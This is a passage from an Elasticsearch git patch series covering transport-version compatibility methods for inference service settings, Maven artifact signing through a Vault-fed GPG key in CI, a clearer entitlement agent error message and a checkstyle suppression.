+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/elastic/rerank/ElasticInferenceServiceRerankServiceSettings.java
@@ -83,9 +83,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_ELASTIC_RERANK;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_ELASTIC_RERANK)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_ELASTIC_RERANK_ADDED_8_19);
+    }
+
     @Override
     protected XContentBuilder toXContentFragmentOfExposedFields(XContentBuilder builder, Params params) throws IOException {
         builder.field(MODEL_ID, modelId);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/googlevertexai/completion/GoogleVertexAiChatCompletionServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/googlevertexai/completion/GoogleVertexAiChatCompletionServiceSettings.java
index 105d76a9f8ccb..a753fc5dc66f2 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/googlevertexai/completion/GoogleVertexAiChatCompletionServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/googlevertexai/completion/GoogleVertexAiChatCompletionServiceSettings.java
@@ -118,9 +118,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_VERTEXAI_CHATCOMPLETION_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_VERTEXAI_CHATCOMPLETION_ADDED)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_VERTEXAI_CHATCOMPLETION_ADDED_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeString(projectId);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/completion/HuggingFaceChatCompletionServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/completion/HuggingFaceChatCompletionServiceSettings.java
index af88316ef5161..cdc2529428bed 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/completion/HuggingFaceChatCompletionServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/completion/HuggingFaceChatCompletionServiceSettings.java
@@ -144,9 +144,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_HUGGING_FACE_CHAT_COMPLETION_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_HUGGING_FACE_CHAT_COMPLETION_ADDED)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_HUGGING_FACE_CHAT_COMPLETION_ADDED_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeOptionalString(modelId);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/rerank/HuggingFaceRerankServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/rerank/HuggingFaceRerankServiceSettings.java
index 3d4c6aef71e96..b0b21b26395af 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/rerank/HuggingFaceRerankServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/rerank/HuggingFaceRerankServiceSettings.java
@@ -115,9 +115,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_HUGGING_FACE_RERANK_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_HUGGING_FACE_RERANK_ADDED)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_HUGGING_FACE_RERANK_ADDED_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeString(uri.toString());
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/rerank/HuggingFaceRerankTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/rerank/HuggingFaceRerankTaskSettings.java
index 9f90386edff90..8b9e9113bce12 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/rerank/HuggingFaceRerankTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/huggingface/rerank/HuggingFaceRerankTaskSettings.java
@@ -118,9 +118,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_HUGGING_FACE_RERANK_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_HUGGING_FACE_RERANK_ADDED)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_HUGGING_FACE_RERANK_ADDED_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeOptionalVInt(topNDocumentsOnly);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/mistral/completion/MistralChatCompletionServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/mistral/completion/MistralChatCompletionServiceSettings.java
index 676653d54a560..89b9475ad65d8 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/mistral/completion/MistralChatCompletionServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/mistral/completion/MistralChatCompletionServiceSettings.java
@@ -78,9 +78,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_MISTRAL_CHAT_COMPLETION_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_MISTRAL_CHAT_COMPLETION_ADDED)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_MISTRAL_CHAT_COMPLETION_ADDED_8_19);
+    }
+
     @Override
     public String modelId() {
         return this.modelId;
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerServiceSettings.java
index 2caf97bdd05b7..b7a554d387c84 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerServiceSettings.java
@@ -111,9 +111,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_SAGEMAKER;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_SAGEMAKER)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_SAGEMAKER_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeString(endpointName());
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerTaskSettings.java
index c1c244cc37051..fd9eb2d20c5d3 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerTaskSettings.java
@@ -101,9 +101,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_SAGEMAKER;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_SAGEMAKER)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_SAGEMAKER_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeOptionalString(customAttributes);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredServiceSchema.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredServiceSchema.java
index 9fb320a2d364a..b3d948a85de97 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredServiceSchema.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredServiceSchema.java
@@ -29,9 +29,16 @@ public String getWriteableName() {
 
         @Override
         public TransportVersion getMinimalSupportedVersion() {
+            assert false : "should never be called when supportsVersion is used";
             return TransportVersions.ML_INFERENCE_SAGEMAKER;
         }
 
+        @Override
+        public boolean supportsVersion(TransportVersion version) {
+            return version.onOrAfter(TransportVersions.ML_INFERENCE_SAGEMAKER)
+                || version.isPatchFrom(TransportVersions.ML_INFERENCE_SAGEMAKER_8_19);
+        }
+
         @Override
         public void writeTo(StreamOutput out) {
 
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredTaskSchema.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredTaskSchema.java
index 2aa2f9556d415..09a73f0f42ea4 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredTaskSchema.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredTaskSchema.java
@@ -39,9 +39,16 @@ public String getWriteableName() {
 
         @Override
         public TransportVersion getMinimalSupportedVersion() {
+            assert false : "should never be called when supportsVersion is used";
             return TransportVersions.ML_INFERENCE_SAGEMAKER;
         }
 
+        @Override
+        public boolean supportsVersion(TransportVersion version) {
+            return version.onOrAfter(TransportVersions.ML_INFERENCE_SAGEMAKER)
+                || version.isPatchFrom(TransportVersions.ML_INFERENCE_SAGEMAKER_8_19);
+        }
+
         @Override
         public void writeTo(StreamOutput out) {}
 
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticTextEmbeddingPayload.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticTextEmbeddingPayload.java
index cf9d24a86dcc3..6e1407beab1d8 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticTextEmbeddingPayload.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticTextEmbeddingPayload.java
@@ -250,9 +250,16 @@ public String getWriteableName() {
 
         @Override
         public TransportVersion getMinimalSupportedVersion() {
+            assert false : "should never be called when supportsVersion is used";
             return TransportVersions.ML_INFERENCE_SAGEMAKER_ELASTIC;
         }
 
+        @Override
+        public boolean supportsVersion(TransportVersion version) {
+            return version.onOrAfter(TransportVersions.ML_INFERENCE_SAGEMAKER_ELASTIC)
+                || version.isPatchFrom(TransportVersions.ML_INFERENCE_SAGEMAKER_ELASTIC_8_19);
+        }
+
         @Override
         public void writeTo(StreamOutput out) throws IOException {
             out.writeOptionalVInt(dimensions);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/SageMakerElasticTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/SageMakerElasticTaskSettings.java
index 3cdcbb35ffdc9..088de2068741c 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/SageMakerElasticTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/SageMakerElasticTaskSettings.java
@@ -50,9 +50,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_SAGEMAKER_ELASTIC;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_SAGEMAKER_ELASTIC)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_SAGEMAKER_ELASTIC_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeGenericMap(passthroughSettings);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/openai/OpenAiTextEmbeddingPayload.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/openai/OpenAiTextEmbeddingPayload.java
index 276c407d694d6..6fcbd309551e3 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/openai/OpenAiTextEmbeddingPayload.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/openai/OpenAiTextEmbeddingPayload.java
@@ -138,9 +138,16 @@ public String getWriteableName() {
 
         @Override
         public TransportVersion getMinimalSupportedVersion() {
+            assert false : "should never be called when supportsVersion is used";
             return TransportVersions.ML_INFERENCE_SAGEMAKER;
         }
 
+        @Override
+        public boolean supportsVersion(TransportVersion version) {
+            return version.onOrAfter(TransportVersions.ML_INFERENCE_SAGEMAKER)
+                || version.isPatchFrom(TransportVersions.ML_INFERENCE_SAGEMAKER_8_19);
+        }
+
         @Override
         public void writeTo(StreamOutput out) throws IOException {
             out.writeOptionalInt(dimensions);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/openai/SageMakerOpenAiTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/openai/SageMakerOpenAiTaskSettings.java
index 4eeba9f69022d..b8ce19ba712bf 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/openai/SageMakerOpenAiTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/openai/SageMakerOpenAiTaskSettings.java
@@ -37,9 +37,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_SAGEMAKER_CHAT_COMPLETION;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_SAGEMAKER_CHAT_COMPLETION)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_SAGEMAKER_CHAT_COMPLETION_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeOptionalString(user);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/VoyageAIServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/VoyageAIServiceSettings.java
index 75497d1a4b4f0..ba7db5bc16f47 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/VoyageAIServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/VoyageAIServiceSettings.java
@@ -108,9 +108,16 @@ public XContentBuilder toXContentFragmentOfExposedFields(XContentBuilder builder
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.VOYAGE_AI_INTEGRATION_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED)
+            || version.isPatchFrom(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED_BACKPORT_8_X);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeString(modelId);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/embeddings/VoyageAIEmbeddingsServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/embeddings/VoyageAIEmbeddingsServiceSettings.java
index cc4db278d0e2b..a0960fb6f74aa 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/embeddings/VoyageAIEmbeddingsServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/embeddings/VoyageAIEmbeddingsServiceSettings.java
@@ -226,9 +226,16 @@ protected XContentBuilder toXContentFragmentOfExposedFields(XContentBuilder buil
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.VOYAGE_AI_INTEGRATION_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED)
+            || version.isPatchFrom(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED_BACKPORT_8_X);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         commonSettings.writeTo(out);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/embeddings/VoyageAIEmbeddingsTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/embeddings/VoyageAIEmbeddingsTaskSettings.java
index 2c6bf3a59c617..11728075fe2b8 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/embeddings/VoyageAIEmbeddingsTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/embeddings/VoyageAIEmbeddingsTaskSettings.java
@@ -162,9 +162,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.VOYAGE_AI_INTEGRATION_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED)
+            || version.isPatchFrom(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED_BACKPORT_8_X);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeOptionalEnum(inputType);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/rerank/VoyageAIRerankServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/rerank/VoyageAIRerankServiceSettings.java
index 1d3607922c5c2..4e23efac2701c 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/rerank/VoyageAIRerankServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/rerank/VoyageAIRerankServiceSettings.java
@@ -90,9 +90,16 @@ protected XContentBuilder toXContentFragmentOfExposedFields(XContentBuilder buil
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.VOYAGE_AI_INTEGRATION_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED)
+            || version.isPatchFrom(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED_BACKPORT_8_X);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         commonSettings.writeTo(out);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/rerank/VoyageAIRerankTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/rerank/VoyageAIRerankTaskSettings.java
index a5004fde1e17e..9e57b58487674 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/rerank/VoyageAIRerankTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/voyageai/rerank/VoyageAIRerankTaskSettings.java
@@ -135,9 +135,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.VOYAGE_AI_INTEGRATION_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED)
+            || version.isPatchFrom(TransportVersions.VOYAGE_AI_INTEGRATION_ADDED_BACKPORT_8_X);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeOptionalInt(topKDocumentsOnly);

From f1f539dcd9a792db2524e6f34f2137147f37589b Mon Sep 17 00:00:00 2001
From: Rene Groeschke <rene@elastic.co>
Date: Fri, 27 Jun 2025 19:12:54 +0200
Subject: [PATCH 011/299] [Build] Setup artifact signing for maven aggregation
 content (#130179) (#130194)

Maven central expects signed artifacts when publishing
---
 .buildkite/hooks/pre-command                        |  8 ++++++++
 .buildkite/pipelines/dra-workflow.yml               |  1 +
 .../gradle/internal/conventions/PublishPlugin.java  | 13 +++++++++++--
 3 files changed, 20 insertions(+), 2 deletions(-)

diff --git a/.buildkite/hooks/pre-command b/.buildkite/hooks/pre-command
index 34d614c7f7a5e..e6b7b1bc3a199 100644
--- a/.buildkite/hooks/pre-command
+++ b/.buildkite/hooks/pre-command
@@ -64,6 +64,14 @@ if [[ "${USE_LUCENE_SNAPSHOT_CREDS:-}" == "true" ]]; then
   unset data
 fi
 
+if [[ "${USE_MAVEN_GPG:-}" == "true" ]]; then
+  vault_path="kv/ci-shared/release-eng/team-release-secrets/es-delivery/gpg"
+  ORG_GRADLE_PROJECT_signingKey=$(vault kv get --field="private_key" $vault_path)
+  ORG_GRADLE_PROJECT_signingPassword=$(vault kv get --field="passphase" $vault_path)
+  export ORG_GRADLE_PROJECT_signingKey
+  export ORG_GRADLE_PROJECT_signingPassword
+fi
+
 if [[ "${USE_DRA_CREDENTIALS:-}" == "true" ]]; then
   DRA_VAULT_ROLE_ID_SECRET=$(vault read -field=role-id secret/ci/elastic-elasticsearch/legacy-vault-credentials)
   export DRA_VAULT_ROLE_ID_SECRET
diff --git a/.buildkite/pipelines/dra-workflow.yml b/.buildkite/pipelines/dra-workflow.yml
index 36828a6512db8..43a3ff73b9654 100644
--- a/.buildkite/pipelines/dra-workflow.yml
+++ b/.buildkite/pipelines/dra-workflow.yml
@@ -2,6 +2,7 @@ steps:
   - command: .buildkite/scripts/dra-workflow.sh
     env:
       USE_DRA_CREDENTIALS: "true"
+      USE_MAVEN_GPG: "true"
       USE_PROD_DOCKER_CREDENTIALS: "true"
     agents:
       provider: gcp
diff --git a/build-conventions/src/main/java/org/elasticsearch/gradle/internal/conventions/PublishPlugin.java b/build-conventions/src/main/java/org/elasticsearch/gradle/internal/conventions/PublishPlugin.java
index d3f03b9534be3..9f96d4eafa33f 100644
--- a/build-conventions/src/main/java/org/elasticsearch/gradle/internal/conventions/PublishPlugin.java
+++ b/build-conventions/src/main/java/org/elasticsearch/gradle/internal/conventions/PublishPlugin.java
@@ -10,12 +10,11 @@
 package org.elasticsearch.gradle.internal.conventions;
 
 import groovy.util.Node;
+import nmcp.NmcpPlugin;
 
 import com.github.jengelman.gradle.plugins.shadow.ShadowExtension;
 import com.github.jengelman.gradle.plugins.shadow.ShadowPlugin;
 
-import nmcp.NmcpPlugin;
-
 import org.elasticsearch.gradle.internal.conventions.info.GitInfo;
 import org.elasticsearch.gradle.internal.conventions.precommit.PomValidationPrecommitPlugin;
 import org.elasticsearch.gradle.internal.conventions.util.Util;
@@ -41,6 +40,8 @@
 import org.gradle.api.tasks.bundling.Jar;
 import org.gradle.initialization.layout.BuildLayout;
 import org.gradle.language.base.plugins.LifecycleBasePlugin;
+import org.gradle.plugins.signing.SigningExtension;
+import org.gradle.plugins.signing.SigningPlugin;
 import org.w3c.dom.Element;
 
 import java.io.File;
@@ -69,6 +70,7 @@ public void apply(Project project) {
         project.getPluginManager().apply(PomValidationPrecommitPlugin.class);
         project.getPluginManager().apply(LicensingPlugin.class);
         project.getPluginManager().apply(NmcpPlugin.class);
+        project.getPluginManager().apply(SigningPlugin.class);
         configureJavadocJar(project);
         configureSourcesJar(project);
         configurePomGeneration(project);
@@ -79,6 +81,13 @@ public void apply(Project project) {
     private void configurePublications(Project project) {
         var publishingExtension = project.getExtensions().getByType(PublishingExtension.class);
         var publication = publishingExtension.getPublications().create("elastic", MavenPublication.class);
+        Provider<String> signingKey = project.getProviders().gradleProperty("signingKey");
+        if (signingKey.isPresent()) {
+            SigningExtension signing = project.getExtensions().getByType(SigningExtension.class);
+            signing.useInMemoryPgpKeys(signingKey.get(), project.getProviders().gradleProperty("signingPassword").get());
+            signing.sign(publication);
+        }
+
         project.afterEvaluate(project1 -> {
             if (project1.getPlugins().hasPlugin(ShadowPlugin.class)) {
                 configureWithShadowPlugin(project1, publication);

From 5eaca8665631778d0e592ecd65196360bd80a183 Mon Sep 17 00:00:00 2001
From: Ryan Ernst <ryan@iernst.net>
Date: Fri, 27 Jun 2025 12:07:20 -0700
Subject: [PATCH 012/299] Show entitlement jar path in agent load failure
 (#130233) (#130243)

When the entitelement agent fails to load the underlying exception can
be cryptic. In some casees it may be that the path the agent jar is bad.
This commit expands the exception message to show the agent path
that we tried to load.
---
 .../entitlement/bootstrap/EntitlementBootstrap.java             | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java
index be9e8254f464c..928b953c295fe 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/EntitlementBootstrap.java
@@ -122,7 +122,7 @@ static void loadAgent(String agentPath, String entitlementInitializationClassNam
                 vm.detach();
             }
         } catch (AttachNotSupportedException | IOException | AgentLoadException | AgentInitializationException e) {
-            throw new IllegalStateException("Unable to attach entitlement agent", e);
+            throw new IllegalStateException("Unable to attach entitlement agent [" + agentPath + "]", e);
         }
     }
 

From 7b59ee7985343d1331901b8339654399d5e4782f Mon Sep 17 00:00:00 2001
From: Jordan Powers <jordan.powers@elastic.co>
Date: Fri, 27 Jun 2025 12:31:49 -0700
Subject: [PATCH 013/299] Pull match_only_text fixes into main (#130049)
 (#130136)

This brings in the fixes from #130020, with minor fixes to address review
nits from that PR.

Co-authored-by: Martijn van Groningen <martijn.v.groningen@gmail.com>
---
 .../resources/checkstyle_suppressions.xml     |   1 +
 .../extras/MatchOnlyTextFieldMapper.java      |  44 ++-
 .../extras/MatchOnlyTextFieldMapperTests.java |  29 ++
 .../index/mapper/BlockSourceReader.java       |   2 +-
 .../index/mapper/BlockStoredFieldsReader.java |   8 +-
 .../MatchOnlyTextRollingUpgradeIT.java        | 252 ++++++++++++++++++
 6 files changed, 328 insertions(+), 8 deletions(-)
 create mode 100644 x-pack/plugin/logsdb/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/upgrades/MatchOnlyTextRollingUpgradeIT.java

diff --git a/build-tools-internal/src/main/resources/checkstyle_suppressions.xml b/build-tools-internal/src/main/resources/checkstyle_suppressions.xml
index 5fdfebf6849e7..98ded638773ce 100644
--- a/build-tools-internal/src/main/resources/checkstyle_suppressions.xml
+++ b/build-tools-internal/src/main/resources/checkstyle_suppressions.xml
@@ -37,6 +37,7 @@
   <suppress files="qa[/\\]rolling-upgrade[/\\]src[/\\]javaRestTest[/\\]java[/\\]org[/\\]elasticsearch[/\\]upgrades[/\\]TsdbIT.java" checks="LineLength" />
   <suppress files="qa[/\\]rolling-upgrade[/\\]src[/\\]javaRestTest[/\\]java[/\\]org[/\\]elasticsearch[/\\]upgrades[/\\]TsdbIndexingRollingUpgradeIT.java" checks="LineLength" />
   <suppress files="qa[/\\]rolling-upgrade[/\\]src[/\\]javaRestTest[/\\]java[/\\]org[/\\]elasticsearch[/\\]upgrades[/\\]LogsdbIndexingRollingUpgradeIT.java" checks="LineLength" />
